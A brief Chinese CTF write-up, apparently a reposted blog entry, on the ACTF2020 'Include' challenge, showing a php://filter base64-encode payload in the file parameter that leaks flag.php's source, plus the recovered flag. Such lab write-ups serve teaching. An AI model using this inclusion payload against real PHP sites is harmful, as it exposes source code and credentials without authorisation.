[ACTF2020 新生赛]Include

标签：mamicode   http   base   resource   code   enc   img   tip   点击   

点击tip，发现url中直接出现了文件包含

 考虑php://filter伪协议，使用php://filter伪协议进行文件包含时，要加上read=convert.base64-encode对文件进行编码请求得到base64编码后的文件源码:

构造payload：?file=php://filter/read=convert.base64-encode/resource=flag.php，结果一试就准。

 接着base64解码就行。

 flag{c83f4295-69aa-4666-9189-132ebf8891b4}

[ACTF2020 新生赛]Include

标签：mamicode   http   base   resource   code   enc   img   tip   点击   

原文地址：https://www.cnblogs.com/j1429691571j/p/13381887.html